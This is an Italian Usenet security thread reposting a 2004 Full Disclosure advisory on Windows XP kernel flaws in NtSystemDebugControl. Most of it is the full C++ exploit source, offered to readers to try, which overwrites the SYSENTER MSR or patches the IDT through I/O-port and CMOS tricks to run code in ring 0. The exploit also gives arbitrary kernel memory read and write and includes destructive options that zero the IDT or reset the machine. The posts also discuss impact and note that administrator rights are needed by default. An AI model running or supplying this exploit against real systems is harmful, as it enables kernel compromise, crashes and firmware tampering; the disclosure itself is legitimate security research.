Newsgroup: it.comp.sicurezza.varie
Titolo: Multiple WinXP kernel vulns can give user mode programs kernel mode privileges

Reverse engineering oppure il source code di Win2k ha fornito gli 'spunti'
necessari?
Forse Microsoft se lo e' fatto 'rubare' di proposito...Chissa ' se
finalmente lo possono sistemare... ;)
L'exploits e' disponibile (scritto in c++)
Source: Full Dislousure
Summary
There exist several vulnerabilities in one of Windows XP kernel's native API
functions which allow any user with the SeDebugPrivilege privilege to
execute arbitrary code in kernel mode, and read from and write to any memory
address, including kernel memory.
Tested systems
Windows XP Pro SP1 with latest patches
It's likely that Windows 2003 also is vulnerable.
Details
ZwSystemDebugControl(), exported from ntdll.dll, calls a Windows operating
system function NtSystemDebugControl(). This function is executed in ring 0
(kernel mode) and is meant to be used by user mode debuggers having the
SeDebugPrivilege privilege.
Vulnerability #1, enter ring 0 method #1 - SYSENTER/SYSCALL instrs:
This method writes to IA32_SYSENTER_EIP MSR by calling the kernel
(NtSystemDebugControl()) and changing the MSR register to point to our code.
Next time we execute the SYSENTER instruction, we're in ring 0 and have
total control of the processor. Note that AMD processors may also support
the SYSCALL instruction which behaves like SYSENTER and could also be used
to enter ring 0.
<end vuln #1>
Vulnerability #2, enter ring 0 method #2 - I/O R/W kernel sub-funcs:
This method writes to kernel memory. Modify an (preferably unused) IDT entry
with a pointer to your code and execute an INT n instruction.
Method1_WriteMemByte() uses a bug in the read I/O sub-function of
NtSystemDebugControl(). The pointers in the IO_STRUCT aren't checked and we
can exploit this bug to write to kernel memory. Since the kernel reads from
an I/O port, we must first control the I/O port's value. This is easy since
every PC has a BIOS POST port 80h. This is an 8-bit read/write port used by
the BIOS during POST. If we first write to it, and then later read it, we
can make the kernel write any byte to any address.
<end vuln #2>
Vulnerability #3, enter ring 0 method #3 - bus R/W kernel sub-funcs:
Same as Method #2 only using DebugSysReadBusData/DebugSysWriteBusData
sub-functions which will call the HAL to read and write bus data. The
pointer in the BUS_STRUCT is not verified to be pointing to user data before
calling the HAL and we can exploit this bug to write to the IDT and get ring
0 access. This method uses CMOS index 0Eh as our controllable byte. <end
vuln #3>
Vulnerability #4, enter ring 0 method #4 - direct HW access:
Since the user mode program has direct hardware access, it can also read
from and write to kernel memory with the help of hardware which can access
the processor's RAM. Similar to methods #2 and #3 only more complex. <end
vuln #4>
I have attached source code to test for methods #1-#3 and a few other
options to show what a user mode program can do. Run it with /test1, /test2,
and /test3 command line options to test your system.
Impact
Any user with the SeDebugPrivilege privilege could execute arbitrary code as
the kernel, and read from and write to any address the kernel can. The
program can do anything to the computer the kernel can, eg. reprogram any
computer hardware, such as the BIOS flash memory or patch the kernel in
memory.
Since the user needs the SeDebugPrivilege, a privilege normally only given
to administrators, to exploit these vulnerabilities, these are not serious
vulnerabilities. The user is also normally an admin so he or she could
easily install a device driver to become part of the kernel instead of
exploiting these vulnerabilities.
Microsoft says it's OK for user mode programs to write to the kernel so long
as you have the SeDebugPrivilege privilege, and will not fix anything.
Workaround
Go to "Local Security Policy\ Security Settings\ Local Policies\ User Rights
Assignments" and remove all users and groups from "Debug Programs" and
restart your computer. Note that any malicious program with administrator
rights could re-enable the SeDebugPrivilege privilege and wait for the next
reboot and then gain kernel access. Thus this isn't a very good workaround
if you always log on as the administrator.
K

 memory.
Cioe', se eseguito come amministratore, puo' riprogrammare il BIOS?
Praticamente sarebbe possibile anche rovinare l'hardware.
Oppure ho capito male io?
-- 
ciao            |visita
                 |
http://www.sifor.it
gelty           |
http://www.sifor.com
-------------------------------------
E' esplicitamente vietato usare l'indirizzo e-mail di questo messaggio
per fini diversi dalla risposta al messaggio stesso (Art. 10 DL. 171/98).


Iniziamo con il dire che per alcuni, questo non e' considerata una
vulnerabilita' ma una funzione...Simili funzioni si possono trovare anche
nel Win2k Server Resource Kit, tipo 'SeDebugPrivilege'. Tramite questa
funzione un user puo' inserire un debugger a qualsiasi processo. Chiaramente
per fare cio' l'utente dovrebbe avere admin rights...
Il problema e' che sembra che queste funzioni non sono solamente relegate a
users con admin rights...
Rispondendo alla tua domanda, si, la funzione ha accesso anche al BIOS e
come per il famoso CIH virus (che attaccava il BIOS) potrebbe seriamente
incasinare la motherboard o potrebbe aggiungere qualche 'patch' al kernel in
memoria...
Per chi si vuole cimentare questo e' il source code dell'exploit (c++):
(Non avendo il link dove scaricarlo temo che dovro' usare un po' di
banda...)
/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 
ran...@hotmail.com
*/
#include <windows.h>
#include <stdio.h>
typedef int NTSTATUS;
#define NTAPI __stdcall
const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;
const SelCodeKernel = 0x8;
const CmosIndx = 0x0E;  // CMOS Diagnostic Status
const RdWrIoPort = 0x80;
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
typedef enum _DEBUG_CONTROL_CODE {
 DebugSysReadIoSpace = 14,
 DebugSysWriteIoSpace = 15,
 DebugSysReadMsr = 16,
 DebugSysWriteMsr = 17,
 DebugSysReadBusData = 18,
 DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;
typedef struct _MSR_STRUCT {
 DWORD MsrNum;   // MSR number
 DWORD NotUsed;   // Never accessed by the kernel
 DWORD MsrLo;   // IN (write) or OUT (read): Low 32 bits of MSR
 DWORD MsrHi;   // IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;
typedef struct _IO_STRUCT {
 DWORD IoAddr;   // IN: Aligned to NumBytes,I/O address
 DWORD Reserved1;  // Never accessed by the kernel
 PVOID pBuffer;   // IN (write) or OUT (read): Ptr to buffer
 DWORD NumBytes;   // IN: # bytes to read/write. Only use 1, 2, or 4.
 DWORD Reserved4;  // Must be 1
 DWORD Reserved5;  // Must be 0
 DWORD Reserved6;  // Must be 1
 DWORD Reserved7;  // Never accessed by the kernel
} IO_STRUCT;
// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
  ConfigurationSpaceUndefined = -1,
  Cmos,
  EisaConfiguration,
  Pos,
  CbusConfiguration,
  PCIConfiguration,
  VMEConfiguration,
  NuBusConfiguration,
  PCMCIAConfiguration,
  MPIConfiguration,
  MPSAConfiguration,
  PNPISAConfiguration,
  SgiInternalConfiguration,
  MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
each field
typedef struct _BUS_STRUCT {
 ULONG  Offset;
 PVOID  Buffer;
 ULONG  Length;
 BUS_DATA_TYPE  BusDataType;
 ULONG  BusNumber;
 ULONG  SlotNumber;
} BUS_STRUCT;
typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
 DEBUG_CONTROL_CODE ControlCode,
    PVOID InputBuffer,
 ULONG InputBufferLength,
 PVOID OutputBuffer,
    ULONG OutputBufferLength,
 PULONG ReturnLength
 );
PZwSystemDebugControl ZwSystemDebugControl = NULL;
enum Ring0Method {
 Method1,
 Method2,
};
struct OldCpuState
{
 Ring0Method meth;
 MSR_STRUCT msr[3];
 DWORD AffinityMask;
 DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};
void help()
{
 printf("Usage: name_of_program [option [option [...]]]\n");
 printf("/test1                            - test for SYSENTER vuln\n");
 printf("/test2                            - test for I/O write to mem
vuln\n");
 printf("/test3                            - test for bus write to mem
vuln\n");
 printf("/reset                            - reset CPU in ring 0\n");
 printf("/zeroidt                          - zero IDT (reboots PC)\n");
 printf("/wrmem <addr> <byte>              - write byte to mem\n");
 printf("/rdmsr <num>                      - read MSR\n");
 printf("/wrmsr <num> <hi> <lo>            - write MSR\n");
 printf("/rdio <port> <size>               - read I/O port\n");
 printf("/wrio <port> <size> <value>       - write I/O port\n");
 printf("/dump <addr> <size>               - dump memory from ring 0\n");
 exit(0);
}
int rdmsr(int MsrNum, MSR_STRUCT& msr)
{
 msr.MsrNum = MsrNum;
 return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
}
int wrmsr(int MsrNum, MSR_STRUCT& msr)
{
 msr.MsrNum = MsrNum;
 return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
}
void PrintMsr(MSR_STRUCT& msr)
{
 printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
}
int HasSysEnter()
{
 int retval = 0;
 __try
 {
  __asm
  {
   mov eax,1
   cpuid
   shr edx,12
   adc retval,0
  }
 }
 __except (EXCEPTION_EXECUTE_HANDLER)
 {
 }
 return retval;
}
int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
{
 DWORD tmp;
 FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),
pOldAffinityMask, &tmp));
 FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));
 return 1;
}
/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
 BYTE buf;
 BUS_STRUCT bus;
 bus.BusDataType = Cmos;
 bus.BusNumber = 0;
 bus.SlotNumber = offs;
 bus.Buffer = ppAddr ? *ppAddr : &buf;
 bus.Offset = 0;
 bus.Length = 1;
 if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
NULL) < 0)
  return -1;
 else
  return ppAddr ? 0x100 : buf;
}
/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
 BUS_STRUCT bus;
 bus.BusDataType = Cmos;
 bus.BusNumber = 0;
 bus.SlotNumber = offs;
 bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
 bus.Offset = 0;
 bus.Length = 1;
 return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
0, NULL) >= 0;
}
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
 IO_STRUCT io;
 memset(&io, 0, sizeof(io));
 io.IoAddr = RdWrIoPort;
 io.pBuffer = &Value;
 io.NumBytes = 1;
 io.Reserved4 = 1;
 io.Reserved6 = 1;
 if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
  return 0;
 memset(&io, 0, sizeof(io));
 io.IoAddr = RdWrIoPort;
 io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
 io.NumBytes = 1;
 io.Reserved4 = 1;
 io.Reserved6 = 1;
 if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
  return 0;
 return 1;
}
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
 BYTE Value;
 IO_STRUCT io;
 memset(&io, 0, sizeof(io));
 io.IoAddr = RdWrIoPort;
 io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
 io.NumBytes = 1;
 io.Reserved4 = 1;
 io.Reserved6 = 1;
 if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
  return -1;
 memset(&io, 0, sizeof(io));
 io.IoAddr = RdWrIoPort;
 io.pBuffer = &Value;
 io.NumBytes = 1;
 io.Reserved4 = 1;
 io.Reserved6 = 1;
 if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
  return -1;
 return Value;
}
int CmosTest()
{
 int OldVal = CmosRead(CmosIndx);
 if (OldVal < 0)
  return 0;
 static int HasTested = 0;
 if (HasTested == 0)
 {
  HasTested = -1;
  if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
   !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
   !CmosWrite(CmosIndx, (BYTE)OldVal))
  {
   printf("There's something wrong with your CMOS\n");
   return 0;
  }
  HasTested = 1;
 }
 else if (HasTested == -1)
  return 0;
 return 1;
}
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
 if (!CmosTest())
  return 0;
 int OldVal = CmosRead(CmosIndx);
 if (OldVal < 0)
  return 0;
 BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
 if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
  !CmosWrite(CmosIndx, OldVal))
  return 0;
 return 1;
}
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
 int OldVal, RetVal;
 if (!CmosTest())
  return -1;
 BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
 if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
  (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
  return -1;
 return RetVal;
}
static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
{
 int old = MemAccessMethType;
 if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
  MemAccessMethType = NewMeth;
 return old;
}
int WriteMemByte(DWORD MemAddr, BYTE Value)
{
 switch (MemAccessMethType)
 {
 case 1:
  return Method1_WriteMemByte(MemAddr, Value);
 case 2:
  return Method2_WriteMemByte(MemAddr, Value);
 case -1:
 default:
  return Method1_WriteMemByte(MemAddr, Value) ||
Method2_WriteMemByte(MemAddr, Value);
 }
}
int ReadMemByte(DWORD MemAddr)
{
 switch (MemAccessMethType)
 {
 case 1:
  return Method1_ReadMemByte(MemAddr);
 case 2:
  return Method2_ReadMemByte(MemAddr);
 case -1:
 default:
  int RetVal;
  if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
   (RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
   (void)0 /* Nothing */;
  return RetVal;
 }
}
/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
 old.meth = Method1;
 if (!HasSysEnter())
  return 0;
 FCHK(SetProcessor(1, &old.AffinityMask));
 FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
 FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
 FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);
 DWORD Ring0Addr;
 __asm
 {
  mov Ring0Addr,offset ring0_addr
 }
 Sleep(100); // A more reliable way is to block all interrupts through the
PIC.
 MSR_STRUCT msr;
 if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
 {
  // IMPORTANT:
  // I assume the OS sets up the GDT as follows:
  // base:ring0 code
  //  ring0 data
  //  ring3 code
  //  ring3 data
  // Will crash eventually if it's not setup that way
  msr.MsrLo = SelCodeKernel;
  msr.MsrHi = 0;
  FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
 }
 msr.MsrHi = 0;
 msr.MsrLo = Ring0Addr;
 FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get
interrupted after this call
 __asm
 {
  mov  ecx,esp
  // Hmm, can't assemble SYSENTER or DB 0F,34
  jmp  short $+3
  mov  eax,9090340Fh
ring0_addr:
  mov  esp,ecx
  // Hot dog! :)
 }
 return 1;
cleanup2:
 if (old.msr[0].MsrLo == 0)
  wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
 FCHK(SetProcessor(old.AffinityMask, NULL));
 return 0;
}
/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
{
 MSR_STRUCT* pmsr = &old.msr[0];
 __asm
 {
  mov  ebx,pmsr
  mov  ecx,[ebx]  // IA32_SYSENTER_CS
  mov  eax,[ebx+8]
  mov  edx,[ebx+0Ch]
  test eax,eax
  jz  skip1
  wrmsr
skip1:
  mov  ecx,[ebx+10h] // IA32_SYSENTER_ESP
  mov  eax,[ebx+10h+8]
  mov  edx,[ebx+10h+0Ch]
  wrmsr
  mov  ecx,[ebx+20h] // IA32_SYSENTER_EIP
  mov  eax,[ebx+20h+8]
  mov  edx,[ebx+20h+0Ch]
  wrmsr
  mov  ecx,esp
  mov  edx,offset ring3_code
  // Hmm, can't assemble SYSEXIT or DB 0F,35
  jmp  short $+3
  mov  eax,90350FFBh
ring3_code:
 }
 if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
  wrmsr(old.msr[0].MsrNum, old.msr[0]);
 SetProcessor(old.AffinityMask, NULL);
}
/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
 old.meth = Method2;
 FCHK(SetProcessor(1, &old.AffinityMask));
 DWORD Ring0Addr, EFLAGS, _CS, _SS;
 DWORD idt[2], idt_base, idt_limit;
 __asm
 {
  mov  Ring0Addr,offset ring0_addr
  sidt idt+2
  movzx eax,word ptr idt+2
  mov  idt_limit,eax
  mov  eax,idt+4
  mov  idt_base,eax
  pushfd
  pop  eax
  mov  EFLAGS,eax
  mov  word ptr _CS,cs
  mov  word ptr _SS,ss
 }
 old.EFLAGS = EFLAGS;
 old.CS = _CS;
 old.SS = _SS;
#define IntNum 0xFF
 if (IntNum*8 + 7 > idt_limit)
 {
  printf("ERROR: The interrupt number is outside the IDT. Change it and
recompile.\n");
  goto cleanup;
 }
 BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
 for (int i = 0; i < 8; i++)
 {
  int SomeByte;
  FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
  *pOldIdtDesc++ = (BYTE)SomeByte;
 }
 DWORD IdtDesc[2];
 IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
 IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate,
DPL3
 for (int i = 0; i < 8; i++)
  FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),
cleanup);
 __asm
 {
  xchg esp,eax
  int  IntNum
ring0_addr:
  xchg esp,eax
  // What do you know, it worked!
 }
 return 1;
cleanup:
 FCHK(SetProcessor(old.AffinityMask, NULL));
 return 0;
}
/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
{
 DWORD idt[2];
 DWORD EFLAGS = old.EFLAGS;
 DWORD _CS = old.CS;
 DWORD _SS = old.SS;
 DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
 __asm
 {
  sidt idt+2
  mov  eax,idt+4
  mov  ecx,pOldIdtDesc
  mov  edx,[ecx]
  mov  ecx,[ecx+4]
  mov  [eax+IntNum*8],edx
  mov  [eax+IntNum*8+4],ecx
  mov  eax,esp
  push _SS
  push eax
  mov  eax,EFLAGS
  and  eax,not (1 shl 0Eh)
  push eax
  push _CS
  push offset ring3_addr
  iretd
ring3_addr:
 }
 SetProcessor(old.AffinityMask, NULL);
}
int EnterRing0(OldCpuState& old)
{
 /*
  * Method2 is safer than Method1
  */
 return Method2_EnterRing0(old) || Method1_EnterRing0(old);
}
void LeaveRing0(OldCpuState& old)
{
 switch (old.meth)
 {
 case Method1: Method1_LeaveRing0(old); break;
 case Method2: Method2_LeaveRing0(old); break;
 default:  __asm jmp short $
 }
}
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
 TOKEN_PRIVILEGES tok;
 tok.PrivilegeCount = 1;
 tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
 FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
 FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
 return 1;
}
void PrintDelay(int secs)
{
 while (secs--)
 {
  printf("%d..", secs+1);
  Sleep(1000);
 }
 printf("NOW\n");
}
void PrintVulnMsg(int failed)
{
 if (!failed)
  printf("Your operating system is vulnerable to this exploit.\n");
 else
 {
  printf("If this user account has the SeDebugPrivilege privilege then
your\n");
  printf("OS doesn't appear to be vulnerable.\n\n");
 }
}
DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
{
 if (!bufsz || !buf)
  return 0;
#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
 BYTE* p = (BYTE*)buf;
 for (DWORD i = 0; i < bufsz; i++)
 {
  int SomeByte;
  if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
   break;
  p[i] = (BYTE)SomeByte;
 }
 return i;
#else
 OldCpuState old;
 if (!EnterRing0(old))
  return 0;
 DWORD ret_val;
 __asm
 {
  sub  esp,8
  sidt [esp+2]
  mov  ebx,[esp+4]
  add  esp,8
  push dword ptr [ebx+0Eh*8]
  push dword ptr [ebx+0Eh*8+4]
  mov  eax,offset xcpt_handler
  mov  [ebx+0Eh*8],eax
  mov  [ebx+0Eh*8+4],eax
  mov  word ptr [ebx+0Eh*8+4],8E00h
  mov  word ptr [ebx+0Eh*8+2],cs
  mov  ecx,bufsz
  mov  esi,MemAddr
  mov  edi,buf
  rep movsb
  jmp  skip_xcpt
xcpt_handler:
  add  esp,8
  popfd
  pop  eax
skip_xcpt:
  pop  dword ptr [ebx+0Eh*8+4]
  pop  dword ptr [ebx+0Eh*8]
  mov  eax,bufsz
  sub  eax,ecx
  mov  ret_val,eax
 }
 LeaveRing0(old);
 return ret_val;
#endif
}
int DumpMem(DWORD MemAddr, DWORD size)
{
 if (size == 0)
  return 1;
 if (MemAddr + size - 1 < MemAddr)
  return 0;
 DWORD OldMask;
 FCHK(SetProcessor(1, &OldMask));
 int ret = 1;
 const BytesPerLine = 16;
 while (size)
 {
  BYTE buf[BytesPerLine];
  DWORD addr = MemAddr - MemAddr % BytesPerLine;
  DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);
  printf("%08X:", addr);
  for (int i = 0; i < BytesPerLine; i++)
  {
   if ((i & 3) == 0 && i != 0)
    printf("-");
   else
    printf(" ");
   if (addr < MemAddr || addr > MemAddr+size-1)
    printf("  ");
   else if ((DWORD)i >= SizeRead)
    printf("??");
   else
    printf("%02X", buf[i]);
   addr++;
  }
  printf(" ");
  addr = MemAddr - MemAddr % BytesPerLine;
  for (int i = 0; i < BytesPerLine; i++)
  {
   if (addr < MemAddr || addr > MemAddr+size-1)
    printf(" ");
   else if ((DWORD)i >= SizeRead)
    printf("?");
   else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
    printf("%c", buf[i]);
   else
    printf(".");
   addr++;
  }
  printf("\n");
  size -= min(size, addr - MemAddr);
  MemAddr = addr;
 }
 SetProcessor(OldMask, NULL);
 return ret;
}
int main(int argc, char* argv[])
{
 HMODULE hNtdll;
 FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
 FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);
 HANDLE hToken;
 FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
 FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
 for (int i = 1; i < argc; i++)
 {
  char* s = argv[i];
  if (*s != '/' && *s != '-')
   help();
  s++;
  if (!strcmp(s, "rdmsr") && i+1 < argc)
  {
   MSR_STRUCT msr;
   int num = strtoul(argv[++i], NULL, 0);
   if (rdmsr(num, msr))
    PrintMsr(msr);
   else
    printf("rdmsr(%08X) failed\n", num);
  }
  else if (!strcmp(s, "wrmsr") && i+3 < argc)
  {
   MSR_STRUCT msr;
   int num = strtoul(argv[++i], NULL, 0);
   msr.MsrHi = strtoul(argv[++i], NULL, 0);
   msr.MsrLo = strtoul(argv[++i], NULL, 0);
   if (!wrmsr(num, msr))
   {
    printf("wrmsr(%08X) failed\n", num);
    continue;
   }
   if (rdmsr(num, msr))
    PrintMsr(msr);
   else
    printf("rdmsr(%08X) failed\n", num);
  }
  else if (!strcmp(s, "rdio") && i+2 < argc)
  {
   IO_STRUCT io;
   memset(&io, 0, sizeof(io));
   DWORD Buffer;
   io.IoAddr = strtoul(argv[++i], NULL, 0);
   io.pBuffer = &Buffer;
   io.NumBytes = strtoul(argv[++i], NULL, 0);
   io.Reserved4 = 1;
   io.Reserved6 = 1;
   if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
   {
    printf("Size must be 1, 2, or 4 bytes\n");
    continue;
   }
   if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
   {
    printf("Could not read I/O space\n");
    continue;
   }
   switch (io.NumBytes)
   {
   case 1: printf("0x%02X\n", (BYTE)Buffer); break;
   case 2: printf("0x%04X\n", (WORD)Buffer); break;
   case 4: printf("0x%08X\n", Buffer); break;
   default: printf("WTF\n"); break;
   }
  }
  else if (!strcmp(s, "wrio") && i+3 < argc)
  {
   IO_STRUCT io;
   memset(&io, 0, sizeof(io));
   DWORD Buffer;
   io.IoAddr = strtoul(argv[++i], NULL, 0);
   io.pBuffer = &Buffer;
   io.NumBytes = strtoul(argv[++i], NULL, 0);
   io.Reserved4 = 1;
   io.Reserved6 = 1;
   Buffer = strtoul(argv[++i], NULL, 0);
   if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
   {
    printf("Size must be 1, 2, or 4 bytes\n");
    continue;
   }
   if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
   {
    printf("Could not write to I/O space\n");
    continue;
   }
  }
  else if (!strcmp(s, "reset"))
  {
   OldCpuState old;
   printf("Will reset computer in...");
   PrintDelay(3);
   if (!EnterRing0(old))
   {
    printf("Could not enter ring 0\n");
    continue;
   }
   __asm
   {
    push 0
    lidt [esp]
    pop  esp
    inc  esp
    push esp
   }
   LeaveRing0(old);
   printf("WTF\n");
  }
  else if (!strcmp(s, "wrmem") && i+2 < argc)
  {
   DWORD MemAddr = strtoul(argv[++i], NULL, 0);
   BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);
   if (!WriteMemByte(MemAddr, Value))
   {
    printf("Could not write the byte\n");
    continue;
   }
  }
  else if (!strcmp(s, "zeroidt"))
  {
   DWORD OldMask;
   if (!SetProcessor(1, &OldMask))
   {
    printf("SetProcessor() failed\n");
    continue;
   }
   DWORD idt[2];
   int idt_size, idt_base;
   __asm
   {
    sidt idt+2
    movzx eax,word ptr idt+2
    mov  idt_size,eax
    mov  eax,idt+4
    mov  idt_base,eax
   }
   printf("Will start writing to IDT @ %08X in...", idt_base);
   PrintDelay(3);
   for (int j = 0; j <= idt_size; j++)
   {
    if (!WriteMemByte(idt_base + j, 0x00))
    {
     printf("Could not write the byte to address %08X\n", idt_base + j);
     break;
    }
   }
   if (j != 0)
    printf("WTF\n");
   SetProcessor(OldMask, NULL);
  }
  else if (!strcmp(s, "test1"))
  {
   if (!HasSysEnter())
   {
    printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your
processor.\n");
    continue;
   }
   int failed = 1;
   OldCpuState old;
   printf("Testing SYSENTER vulnerability in...");
   PrintDelay(3);
   if (Method1_EnterRing0(old))
   {
    failed = 0;
    Method1_LeaveRing0(old);
   }
   PrintVulnMsg(failed);
  }
  else if (!strcmp(s, "test2"))
  {
   int failed = 1;
   OldCpuState old;
   printf("Testing I/O write to memory vulnerability in...");
   PrintDelay(3);
   int OldWrite = SetMemAccessMeth(1);
   if (Method2_EnterRing0(old))
   {
    failed = 0;
    Method2_LeaveRing0(old);
   }
   SetMemAccessMeth(OldWrite);
   PrintVulnMsg(failed);
  }
  else if (!strcmp(s, "test3"))
  {
   int failed = 1;
   OldCpuState old;
   printf("Testing bus write to memory vulnerability in...");
   PrintDelay(3);
   int OldWrite = SetMemAccessMeth(2);
   if (Method2_EnterRing0(old))
   {
    failed = 0;
    Method2_LeaveRing0(old);
   }
   SetMemAccessMeth(OldWrite);
   PrintVulnMsg(failed);
  }
  else if (!strcmp(s, "dump") && i+2 < argc)
  {
   DWORD MemAddr = strtoul(argv[++i], NULL, 0);
   DWORD size = strtoul(argv[++i], NULL, 0);
   if (!DumpMem(MemAddr, size))
    printf("Could not dump memory\n");
  }
  else
  {
   help();
  }
 }
 return 1;
}
K
-- 
"Any PC built after 1985 has the storage capacity to house an evil spirit,"
Reverend Jim Peasboro

 'spunti' necessari?
Se avessi letto anche i post successivi nel thread (almeno su Bugtraq),
ti saresti accorto che di default solo gli amministratori hanno
l'autorizzazione SeDebugPrivilege, quindi la vulnerabilita' non sussiste
(a meno che ooviamente uno non sia tanto fesso da accordare questo
privilegio all'utente Guest...).
Ciao

"Gimli" <gimli...@QUESTOemail.it> wrote in message
news:20040220133756.4e...@QUESTOemail.it...

Bugtrap? Preferisco le 'notizie di prima mano'...
...oppure tanto fesso da accordare questo privilegio a semplici users... Da
questo punto di vista non ti puoi immaginare quanti 'fessi' ci sono in
giro...
Ciao
K

 sono in giro...
